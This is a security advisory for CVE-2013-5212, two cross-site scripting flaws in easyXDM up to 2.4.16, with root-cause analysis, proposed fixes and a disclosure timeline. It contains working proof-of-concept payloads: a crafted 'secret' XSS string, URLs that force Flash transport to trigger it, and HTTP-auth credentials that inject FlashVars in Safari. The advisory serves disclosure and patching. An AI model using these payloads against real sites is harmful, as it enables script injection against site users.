easyXDM 2.4.16 Cross Site Scripting

`Affected products  
=================  
easyXDM library <= 2.4.16 - http://easyxdm.net/wp/  
  
easyXDM is a Javascript library that enables you as a developer to easily  
work around the limitation set in place by the Same Origin Policy, in turn  
making it easy to communicate and expose javascript API’s across domain  
boundaries.  
  
Vulnerabilities are fixed in version 2.4.18. All users are advised to  
upgrade.  
  
CVE  
===  
CVE-2013-5212  
  
Vulnerability 1: XSS via 'secret' parameter in Flash transport  
==============================================================  
  
Description  
-----------  
EasyXDM functions EasyXDM.Socket() or EasyXDM.Rpc() may optionally use  
Flash transport via easyxdm.swf file. The file does not correctly encode  
all inputs when sending it to ExternalInterface.call(). RPC endpoints (HTML  
documents calling EasyXDM.Socket() / EasyXDM.Rpc() functions) can be forced  
to initialize Flash transport with injected parameters. Under certain  
circumstances that will trigger script execution (XSS) in the context of  
those documents.  
  
This vulnerability is described in greater details in [3]  
  
Analysis  
--------  
The root cause of the vulnerability is in the ActionScript code of the  
Flash file:  
  
https://github.com/oyvindkinsey/easyXDM/blob/18c42cff3ab2da68961826786a0c305888bfb6a7/src/flash/net.easyxdm.flash/Main.as  
  
While most ExternalInterface parameters (received from JS) are sanitized  
using character whitelist, parameter 'secret' passed to createChannel  
callback (Line 97) is not:  
  
ExternalInterface.addCallback("createChannel", { },  
function(channel:String, secret:String, remoteOrigin:String,  
isHost:Boolean) {  
if (!Main.Validate(channel)) return;  
...  
  
If debug output is enabled (which happens when FlashVar log=true), this  
'secret' value is passed to ExternalInterface.call() invocation.  
  
// createChannel function...  
var receivingChannelName:String = "<em>" + channel + "</em>" + secret + "_"  
+ (isHost ? "provider" : "consumer");  
  
...  
if (listeningConnection.connect(receivingChannelName)) {  
log("listening on " + receivingChannelName);  
  
} else {  
log("could not listen on " + receivingChannelName);  
}  
  
// set up the logger, if any  
var log = _root.log == "true" ? function(msg) {  
ExternalInterface.call(prefix + "easyXDM.Debug.trace", " swf: " + msg);  
} : function() {  
};  
  
Attacker can exploit the vulnerability by calling createChannel callback  
with 'secret' parameter to e.g.  
  
j\"-alerssst(2)))}catch(e){alert(document.domain)}//  
  
As a result, the secret will make it into receivingChannelName (line 106),  
and into ExternalInterface.call (line 156).  
  
ExternalInterface.call will effectively trigger script execution [1][2] in  
the context of RPC endpoint (the document embedding Flash file).  
  
Exploitability conditions  
-------------------------  
Successful exploitation of the described vulnerability requires finding an  
RPC endpoint and:  
  
a) forcing easyXDM to use Flash transport and call the createChannel  
callback  
b) having control over the 'secret' value  
c) force debugging output  
  
ad. a) RPC endpoints are HTML documents embedding the easyXDM library.  
Library initializes itself by extracting GET/URI fragment parameters from  
JS location object. Forcing easyXDM to use Flash transport only requires to  
append a GET parameter xdp=6 (this can also be specified in fragment part  
of an URI). So any URL 'initializing' easyXDM can be modified to achieve a):  
  
http://example.com/easyXDM.html?#xdp_p=6  
  
EasyXDM will call createChannel() callback when initializing Flash  
transport:  
  
https://github.com/oyvindkinsey/easyXDM/blob/18c42cff3ab2da68961826786a0c305888bfb6a7/src/stack/FlashTransport.js#L177-178  
:  
  
// create the channel  
swf.createChannel(config.channel, config.secret,  
getLocation(config.remote), config.isHost);  
  
ad. b) Similar to a) GET xdp_s parameter value is treated as 'secret' Flash  
parameter, so attacker only needs to append xdp_s=<payload> to GET  
parameters of URI fragment part, e.g.  
  
?#xdp_p=6&xdp_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(location)%7D%2F%2Feheheh  
  
ad. c) Flash file must use the debugging functionality. It relies on  
passing FlashVars 'log' parameter with the value 'true'. This can be  
achieved either by calling an HTML document that embeds the  
easyXDM.debug.js script (instead of the production version) or by  
triggering vulnerability no 2.  
  
Proof of Concept  
----------------  
Some of the test pages of stock easyXDM installation use EasyXDM.debug.js  
script and call EasyXDM.Socket() or EasyXDM.Rpc() function.  
  
// http://jsbin.com/OriDibU/1  
<script type="text/javascript" src="  
http://easyxdm.net/current/easyXDM.debug.js">  
</script>  
<script type="text/javascript">  
var transport = new easyXDM.Socket({  
local: ".",  
swf: "http://easyxdm.net/current/easyxdm.swf",  
});  
</script>  
  
Calling this URL will trigger XSS:  
  
http://jsbin.com/OriDibU/1?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh  
  
(note - easyxdm.net-based PoC won't work, as version hosted there is  
already fixed)  
  
Sites implementing EasyXDM are vulnerable if easyxdm.debug.js is included  
anywhere in the codebase in documents that call EasyXDM.Socket() or  
EasyXDM.Rpc(). This includes any sites where files from test/example  
subdirectory are reachable by URL e.g.  
  
http://easyxdm.net/current/tests/test_transport.html?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(location)%7D%2F%2Feheheh  
  
Proposed fix  
------------  
Use sanitizing function on secret parameter  
  
Vulnerability 2: FlashVars parameter injection via URL auth parameters  
======================================================================  
  
Description  
-----------  
When easyXDM creates a HTML code to embed Flash file, it does not properly  
URL encode all parameters. By calling the page using easyXDM.Socket() or  
easyXDM.Rpc() functions with HTTP auth parameters it is possible to inject  
additional FlashVars parameter, modifying behaviour of the Flash file,  
allowing to leverage other vulnerabilities.  
  
This vulnerability is described in greater details in [4].  
  
Analysis  
--------  
When easyXDM creates a HTML code to embed Flash file, it uses wrong regular  
expression to parse the domain name and port. The regular expression:  
  
var reURI = /^((http.?:)\/\/([^:\/\s]+)(:\d+)*)/; // returns groups for  
protocol (2), domain (3) and port (4)  
  
https://github.com/oyvindkinsey/easyXDM/blob/18c42cff3ab2da68961826786a0c305888bfb6a7/src/Core.js  
  
ignores HTTP authentication parameters.  
  
Domain name and port are later on embedded into HTML forming FlashVars  
attribute without proper escaping:  
  
// create the object/embed  
var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") +  
"&proto=" + global.location.protocol + "&domain=" +  
getDomainName(global.location.href) + "&port=" +  
getPort(global.location.href) + "&ns=" + namespace;  
// #ifdef debug  
flashVars += "&log=true";  
// #endif  
..  
swfContainer.innerHTML = ... + "<param name='flashvars' value='" +  
flashVars +  
"'></param>" ....  
  
https://github.com/oyvindkinsey/easyXDM/blob/18c42cff3ab2da68961826786a0c305888bfb6a7/src/stack/FlashTransport.js  
  
By manipulating URL to include HTTP authentication parameters, attacker is  
able to inject additional parameters to flashVars string. However, the only  
browser found that does NOT already escape = and & characters in HTTP auth  
parameters was Safari, Version 6.0.5 (7536.30.1), OSX/WIN. However, due to  
Safari restrictions a phishing warning is displayed before rendering the  
page.  
  
Proof of concept  
-----------------  
// http://jsbin.com/UMUHOgo/1  
  
<script type="text/javascript" src="http://easyxdm.net/current/easyXDM.js">  
</script>  
<script type="text/javascript">  
var transport = new easyXDM.Socket({  
local: ".",  
swf: "http://easyxdm.net/current/easyxdm.swf",  
});  
</script>  
  
Using the following credentials:  
  
user: jsbin.com&log=true&a=  
pass: <empty>  
  
and loading the following URL in Safari will inject log=true FlashVars  
parameter, which, combined with first vulnerability will trigger script  
execution in jsbin.com domain.  
  
http://jsbin.com&log=true&a=@  
jsbin.com/UMUHOgo/1?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh  
  
Potentially this can be leveraged to reflected XSS on other browsers that  
do not URL encode < and > characters in HTTP auth parameter, however all  
current browsers seem to escape that.  
  
Proposed fix  
------------  
Use encodeURIComponent() function on untrusted domain and port parameters.  
  
Credits  
=======  
Vulnerability found by Krzysztof Kotowicz <kkotowicz at cure53.de>  
http://blog.kotowicz.net  
  
Timeline  
========  
2013-08-13 - Discovery  
2013-08-27 - Notified project maintainer  
2013-09-02 - Fixed in code repository  
2013-09-12 - 2.4.18 version with fixes released  
2013-09-23 - First public disclosure (blog post)  
2013-10-23 - Full public disclosure  
  
Related links  
=============  
[1] http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html  
[2]  
http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%E2%80%93-can-make-the-websites-vulnerable-to-xss/  
[3]  
http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html  
[4]  
http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html  
`